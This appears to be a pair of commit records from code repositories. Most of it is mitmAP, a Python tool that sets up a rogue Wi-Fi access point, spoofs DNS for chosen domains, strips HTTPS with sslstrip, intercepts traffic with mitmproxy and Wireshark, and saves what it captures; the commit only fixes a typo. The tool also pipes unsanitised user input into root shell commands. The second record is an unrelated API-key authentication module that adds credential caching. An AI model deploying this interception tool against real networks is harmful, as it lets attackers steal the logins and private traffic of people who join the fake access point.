    os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
    i = 0
    while int(dns_num) != i:
        dns_num_temp = i + 1
        dns_domain = input("[?] " + str(dns_num_temp) + ". Domain to spoof (no need for 'www.'): ")
        dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ")
        dns_domain = dns_domain.replace("www.", "")
        dns_line = "address=/" + dns_domain + "/" + dns_ip
        os.system("sudo echo -e '" + dns_line + "' >> /etc/dnsmasq.conf")
        i = i + 1
else:
    print("[I] Skipping..")
print("[I] Starting DNSMASQ server...")
os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
os.system("sudo pkill dnsmasq")
os.system("sudo dnsmasq")
sslstrip_if = input("[?] Use SSLSTRIP? Y/n: ")
sslstrip_if = sslstrip_if.lower()
wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? Y/n: ")
wireshark_if = wireshark_if.lower()
if sslstrip_if == "y" or sslstrip_if == "":
    proxy_if = "n"
    os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000")
    os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
    print("[I] Starting AP on " + ap_iface + " in screen terminal...\n")
    os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
    os.system("sudo screen -S mitmap-sslstrip -m -d sslstrip -l 9000 -w mitmap-sslstrip.log")
    if wireshark_if == "y" or wireshark_if == "":
        print("[I] Starting WIRESHARK...")
        os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
    print("TAIL started on mitmap-sslstrip.log... Wait for output... (press 'CTRL + C' to stop)\n")
    try:
        time.sleep(5)
    except:
        print("")
    os.system("sudo tail -f mitmap-sslstrip.log")

else:
    proxy_if = input("[?] Capture traffic? Y/n: ")
    proxy_if = proxy_if.lower()
    if proxy_if == "y" or proxy_if == "":
        proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ")
        proxy_config = proxy_config.lower()
        if proxy_config == "n" or proxy_config == "":
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
        else:
            print("[I] To install the certificate, go to 'http://mitm.it/' trough the proxy, and choose your OS.")
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
        os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
        print("[I] Starting AP on " + ap_iface + " in screen terminal...\n")
        if wireshark_if == "y" or wireshark_if == "":
            print("[I] Starting WIRESHARK...")
            os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
        os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
        print("Starting MITMPROXY in 5 seconds... (press q and y to exit)")
        try:
            time.sleep(5)
        except:
            print("")
        os.system("sudo mitmproxy -T --follow -w mitmap-proxy.mitmproxy")
    else:
        print("[I] Skipping...")
        if wireshark_if == "y" or wireshark_if == "":
            print("[I] Starting WIRESHARK...")
            os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
        os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
        print("[I] Starting AP on " + ap_iface + "...\n")
        os.system("sudo hostapd /etc/hostapd/hostapd.conf")
print("")
print("[!] Stopping...")
if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
    os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
    if sslstrip_if == "y" or sslstrip_if == "":
        os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
if wireshark_if == "y" or wireshark_if == "":
    os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
print("[I] Restoreing old NetworkManager.cfg")
os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
print("[I] Restarting NetworkManager...")
os.system("sudo service network-manager restart")
print("[I] Stopping DNSMASQ server...")
os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
os.system("sudo pkill dnsmasq")
print("[I] Restoreing old dnsmasq.cfg...")
os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
print("[I] Removeing speed limit from " + ap_iface + "...")
os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
if proxy_if == "y" or proxy_if == "":
    if wireshark_if == "y" or wireshark_if == "":
        print(
            "[I] Traffic have been saved to the file 'mitmap-proxy.mitmproxy' and to file 'mitmap-wireshark.pcap'. View the '.mitmap' file later by 'mitmproxy -r [file]'.")
    else:
        print(
            "[I] Traffic have been saved to the file 'mitmap-proxy.mitmproxy'. View it later by 'mitmproxy -r [file]'.")
if sslstrip_if == "y" or sslstrip_if == "":
    if wireshark_if == "y" or wireshark_if == "":
        print("[I] Traffic have been saved to the file 'mitmap-sslstrip.log' and to file 'mitmap-wireshark.pcap'.")
    else:
        print("[I] Traffic have been saved to the file 'mitmap-sslstrip.log'.")
print("[I] mitmAP stopped.")
<commit_msg>fixed typo, trough -> through<commit_after>import os
import time

print("           _ _              ___  ______ \n" +
      "          (_) |            / _ \ | ___ \\\n" +
      " _ __ ___  _| |_ _ __ ___ / /_\ \| |_/ /\n" +
      "| '_ ` _ \| | __| '_ ` _ \|  _  ||  __/ \n" +
      "| | | | | | | |_| | | | | | | | || |    \n" +
      "|_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 1.1\n" +
      "                            by @xdavidhu\n")

update = input("[?] Install/Update dependencies? Y/n: ")
update = update.lower()
if update == "y" or update == "":
    print("[I] Checking/Installing dependencies, please wait...")
    os.system("sudo apt-get update > /dev/null 2>&1")
    os.system("sudo apt-get install dnsmasq -y > /dev/null 2>&1")
    os.system("sudo apt-get install wireshark -y > /dev/null 2>&1")
    os.system("sudo apt-get install mitmproxy -y > /dev/null 2>&1")
    os.system("sudo apt-get install hostapd -y > /dev/null 2>&1")
    os.system("sudo apt-get install screen -y > /dev/null 2>&1")
    os.system("sudo apt-get install wondershaper -y > /dev/null 2>&1")
    os.system("sudo apt-get install sslstrip -y > /dev/null 2>&1")
ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ")
net_iface = input("[?] Please enter the name of your internet connected interface: ")
network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface
print("[I] Backing up NetworkManager.cfg...")
os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
print("[I] Editing NetworkManager.cfg...")
os.system("sudo echo -e '" + network_manager_cfg + "' > /etc/NetworkManager/NetworkManager.conf")
print("[I] Restarting NetworkManager...")
os.system("sudo service network-manager restart")
os.system("sudo ifconfig " + ap_iface + " up")
dnsmasq_config = input("[?] Create new DNSMASQ config file at '/etc/dnsmasq.conf' Y/n: ")
dnsmasq_config = dnsmasq_config.lower()
if dnsmasq_config == "y" or dnsmasq_config == "":
    dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=8.8.4.4"
    print("[I] Deleting old config file...")
    os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
    print("[I] Writing config file...")
    os.system("sudo echo -e '" + dnsmasq_file + "' > /etc/dnsmasq.conf")
else:
    print("[I] Skipping..")
hostapd_config = input("[?] Create new HOSTAPD config file at '/etc/hostapd/hostapd.conf' Y/n: ")
hostapd_config = hostapd_config.lower()
if hostapd_config == "y" or hostapd_config == "":
    ssid = input("[?] Please enter the SSID for the AP: ")
    channel = input("[?] Please enter the channel for the AP: ")
    hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ")
    hostapd_wpa = hostapd_wpa.lower()
    if hostapd_wpa == "y":
        wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ")
        hostapd_file_wpa = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP"
        print("[I] Deleting old config file...")
        os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
        print("[I] Writing config file...")
        os.system("sudo echo -e '" + hostapd_file_wpa + "' > /etc/hostapd/hostapd.conf")
    else:
        hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0"
        print("[I] Deleting old config file...")
        os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
        print("[I] Writing config file...")
        os.system("sudo echo -e '" + hostapd_file + "' > /etc/hostapd/hostapd.conf")
else:
    print("[I] Skipping..")
print("[I] Configuring AP interface...")
os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0")
print("[I] Applying iptables rules...")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE")
os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT")
speed_if = input("[?] Set speed limit for the clients? Y/n: ")
speed_if = speed_if.lower()
if speed_if == "y" or speed_if == "":
    while True:
        speed_down = input("[?] Download speed limit (in KB/s): ")
        if speed_down.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    while True:
        speed_up = input("[?] Upload speed limit (in KB/s): ")
        if speed_up.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    print("[I] Setting speed limit on " + ap_iface + "...")
    os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down)
else:
    print("[I] Skipping...")
dns_if = input("[?] Spoof DNS? Y/n: ")
dns_if = dns_if.lower()
if dns_if == "y" or dns_if == "":
    while True:
        dns_num = input("[?] How many domains do you want to spoof?: ")
        if dns_num.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    print("[I] Backing up /etc/dnsmasq.conf...")
    os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
    i = 0
    while int(dns_num) != i:
        dns_num_temp = i + 1
        dns_domain = input("[?] " + str(dns_num_temp) + ". Domain to spoof (no need for 'www.'): ")
        dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ")
        dns_domain = dns_domain.replace("www.", "")
        dns_line = "address=/" + dns_domain + "/" + dns_ip
        os.system("sudo echo -e '" + dns_line + "' >> /etc/dnsmasq.conf")
        i = i + 1
else:
    print("[I] Skipping..")
print("[I] Starting DNSMASQ server...")
os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
os.system("sudo pkill dnsmasq")
os.system("sudo dnsmasq")
sslstrip_if = input("[?] Use SSLSTRIP? Y/n: ")
sslstrip_if = sslstrip_if.lower()
wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? Y/n: ")
wireshark_if = wireshark_if.lower()
if sslstrip_if == "y" or sslstrip_if == "":
    proxy_if = "n"
    os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000")
    os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
    print("[I] Starting AP on " + ap_iface + " in screen terminal...\n")
    os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
    os.system("sudo screen -S mitmap-sslstrip -m -d sslstrip -l 9000 -w mitmap-sslstrip.log")
    if wireshark_if == "y" or wireshark_if == "":
        print("[I] Starting WIRESHARK...")
        os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
    print("TAIL started on mitmap-sslstrip.log... Wait for output... (press 'CTRL + C' to stop)\n")
    try:
        time.sleep(5)
    except:
        print("")
    os.system("sudo tail -f mitmap-sslstrip.log")

else:
    proxy_if = input("[?] Capture traffic? Y/n: ")
    proxy_if = proxy_if.lower()
    if proxy_if == "y" or proxy_if == "":
        proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ")
        proxy_config = proxy_config.lower()
        if proxy_config == "n" or proxy_config == "":
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
        else:
            print("[I] To install the certificate, go to 'http://mitm.it/' through the proxy, and choose your OS.")
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
            os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
        os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
        print("[I] Starting AP on " + ap_iface + " in screen terminal...\n")
        if wireshark_if == "y" or wireshark_if == "":
            print("[I] Starting WIRESHARK...")
            os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
        os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
        print("Starting MITMPROXY in 5 seconds... (press q and y to exit)")
        try:
            time.sleep(5)
        except:
            print("")
        os.system("sudo mitmproxy -T --follow -w mitmap-proxy.mitmproxy")
    else:
        print("[I] Skipping...")
        if wireshark_if == "y" or wireshark_if == "":
            print("[I] Starting WIRESHARK...")
            os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w mitmap-wireshark.pcap")
        os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
        print("[I] Starting AP on " + ap_iface + "...\n")
        os.system("sudo hostapd /etc/hostapd/hostapd.conf")
print("")
print("[!] Stopping...")
if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
    os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
    if sslstrip_if == "y" or sslstrip_if == "":
        os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
if wireshark_if == "y" or wireshark_if == "":
    os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
print("[I] Restoreing old NetworkManager.cfg")
os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
print("[I] Restarting NetworkManager...")
os.system("sudo service network-manager restart")
print("[I] Stopping DNSMASQ server...")
os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
os.system("sudo pkill dnsmasq")
print("[I] Restoreing old dnsmasq.cfg...")
os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
print("[I] Removeing speed limit from " + ap_iface + "...")
os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
if proxy_if == "y" or proxy_if == "":
    if wireshark_if == "y" or wireshark_if == "":
        print(
            "[I] Traffic have been saved to the file 'mitmap-proxy.mitmproxy' and to file 'mitmap-wireshark.pcap'. View the '.mitmap' file later by 'mitmproxy -r [file]'.")
    else:
        print(
            "[I] Traffic have been saved to the file 'mitmap-proxy.mitmproxy'. View it later by 'mitmproxy -r [file]'.")
if sslstrip_if == "y" or sslstrip_if == "":
    if wireshark_if == "y" or wireshark_if == "":
        print("[I] Traffic have been saved to the file 'mitmap-sslstrip.log' and to file 'mitmap-wireshark.pcap'.")
    else:
        print("[I] Traffic have been saved to the file 'mitmap-sslstrip.log'.")
print("[I] mitmAP stopped.")
<|endoftext|>


<commit_before>import requests
import os
import json

from requests import exceptions as request_exceptions
from zope.interface import implements
from twisted.cred import portal, checkers, credentials, error as credError
from twisted.internet import defer, reactor
from twisted.web import static, resource
from twisted.web.resource import Resource, IResource
from twisted.web.http import HTTPChannel
from twisted.web import server
from twisted.web.guard import HTTPAuthSessionWrapper
from twisted.web.guard import BasicCredentialFactory

DASH_API_URL = os.environ.get('DASH_API_URL', 'http://33.33.33.51:8000/api/')

class InvalidApiKey(Exception):
    pass

class ApiKeyChecker(object):
    """Verifies apikey credentials against Dash."""

    implements(checkers.ICredentialsChecker)
    credentialInterfaces = (credentials.IUsernamePassword,)

    def _validate_apikey(self, apikey):
        payload = {'apikey': apikey}
        r = requests.get(DASH_API_URL + 'users/get.json',
            params=payload)
        auth_info = r.json()
        if auth_info['status'] != 'ok':
            raise InvalidApiKey('Invalid apikey')
        auth_info['apikey'] = apikey
        return auth_info

    def requestAvatarId(self, credentials):
        auth_info = None
        try:
            user = credentials.username
            apikey = credentials.password
            if user != 'APIKEY' or not apikey:
                raise InvalidApiKey(
                    "Credentials must follow the APIKEY:<user_apikey> pattern")
            auth_info = self._validate_apikey(apikey)
            return defer.succeed(auth_info)
        except InvalidApiKey as ex:
            return defer.fail(credError.UnauthorizedLogin(
                ex.message or "Invalid apikey"))

class ProtectedRealm(object):

    implements(portal.IRealm)

    def __init__(self, protectedResource):
        self.protectedResource = protectedResource

    def requestAvatar(self, auth_info, mind, *interfaces):
        if IResource in interfaces:
            self.protectedResource.auth_info = auth_info
            return (IResource, self.protectedResource, lambda: None)
        raise NotImplementedError()

class ResourceShield(object):
    """Protects resources by requiring appropriate apikey credentials."""

    def protectResource(self, resource):
        """Protect the given resource by enforcing apikey based auth."""
        p = portal.Portal(ProtectedRealm(resource),
            [ApiKeyChecker()])
        if hasattr(resource, 'name'):
            name = resource.name
        else:
            name = ""
        return HTTPAuthSessionWrapper(p, [BasicCredentialFactory(name)])

class ServiceRoot(Resource):
    """A simple resource that injects auth info to every passing request."""

    def __init__(self, name):
        Resource.__init__(self)
        self.name = name

    def getChildWithDefault(self, path, request):
        request.auth_info = self.auth_info
        return resource.Resource.getChildWithDefault(self, path, request)

class MyResource(Resource):

    def __init__(self):
        resource.Resource.__init__(self)

    def getChild(self, path, request):
        text = "AUTHORIZED. This is your auth info: %s" % json.dumps(
            request.auth_info, indent=4)
        return static.Data(text, "text/plain")

if __name__ == "__main__":
    # Usage example.
    shield = ResourceShield()
    root = ServiceRoot("Test service")
    root.putChild("example", MyResource())
    site = server.Site(shield.protectResource(root))
    site.protocol = HTTPChannel
    reactor.listenTCP(8801, site)
    reactor.run()
<commit_msg>Adds rudimentary credential caching<commit_after>import requests
import os
import json

from datetime import datetime, timedelta
from requests import exceptions as request_exceptions
from zope.interface import implements
from twisted.cred import portal, checkers, credentials, error as credError
from twisted.internet import defer, reactor
from twisted.web import static, resource
from twisted.web.resource import Resource, IResource
from twisted.web.http import HTTPChannel
from twisted.web import server
from twisted.web.guard import HTTPAuthSessionWrapper
from twisted.web.guard import BasicCredentialFactory

DASH_API_URL = os.environ.get('DASH_API_URL', 'http://33.33.33.51:8000/api/')

auth_cache = {}

AUTH_EXPIRATION_TIME = 30

class InvalidApiKey(Exception):
    pass

class ApiKeyChecker(object):
    """Verifies apikey credentials against Dash."""

    implements(checkers.ICredentialsChecker)
    credentialInterfaces = (credentials.IUsernamePassword,)

    def _validate_apikey(self, apikey):
        payload = {'apikey': apikey}
        r = requests.get(DASH_API_URL + 'users/get.json',
            params=payload)
        auth_info = r.json()
        if auth_info['status'] != 'ok':
            raise InvalidApiKey('Invalid apikey')
        auth_info['apikey'] = apikey
        auth_info['expires_at'] = datetime.now() + timedelta(
            seconds=AUTH_EXPIRATION_TIME)
        return auth_info

    def _expired(self, auth_info):
        return datetime.now() > auth_info['expires_at']

    def requestAvatarId(self, credentials):
        auth_info = None
        try:
            user = credentials.username
            apikey = credentials.password
            if user != 'APIKEY' or not apikey:
                raise InvalidApiKey(
                    "Credentials must follow the APIKEY:<user_apikey> pattern")
            auth_info = auth_cache.get(apikey)
            if not auth_info or self._expired(auth_info):
                auth_info = self._validate_apikey(apikey)
                auth_cache[apikey] = auth_info
            return defer.succeed(auth_info)
        except InvalidApiKey as ex:
            return defer.fail(credError.UnauthorizedLogin(
                ex.message or "Invalid apikey"))

class ProtectedRealm(object):

    implements(portal.IRealm)

    def __init__(self, protectedResource):
        self.protectedResource = protectedResource

    def requestAvatar(self, auth_info, mind, *interfaces):
        if IResource in interfaces:
            self.protectedResource.auth_info = auth_info
            return (IResource, self.protectedResource, lambda: None)
        raise NotImplementedError()

class ResourceShield(object):
    """Protects resources by requiring appropriate apikey credentials."""

    def protectResource(self, resource):
        """Protect the given resource by enforcing apikey based auth."""
        p = portal.Portal(ProtectedRealm(resource),
            [ApiKeyChecker()])
        if hasattr(resource, 'name'):
            name = resource.name
        else:
            name = ""
        return HTTPAuthSessionWrapper(p, [BasicCredentialFactory(name)])

class ServiceRoot(Resource):
    """A simple resource that injects auth info to every passing request."""

    def __init__(self, name):
        Resource.__init__(self)
        self.name = name

    def getChildWithDefault(self, path, request):
        request.auth_info = self.auth_info
        return resource.Resource.getChildWithDefault(self, path, request)

class MyResource(Resource):

    def __init__(self):
        resource.Resource.__init__(self)

    def getChild(self, path, request):
        text = "AUTHORIZED. This is your auth info: %s" % json.dumps(
            request.auth_info, indent=4)
        return static.Data(text, "text/plain")

if __name__ == "__main__":
    # Usage example.
    shield = ResourceShield()
    root = ServiceRoot("Test service")
    root.putChild("example", MyResource())
    site = server.Site(shield.protectResource(root))
    site.protocol = HTTPChannel
    reactor.listenTCP(8801, site)
    reactor.run()
<|endoftext|>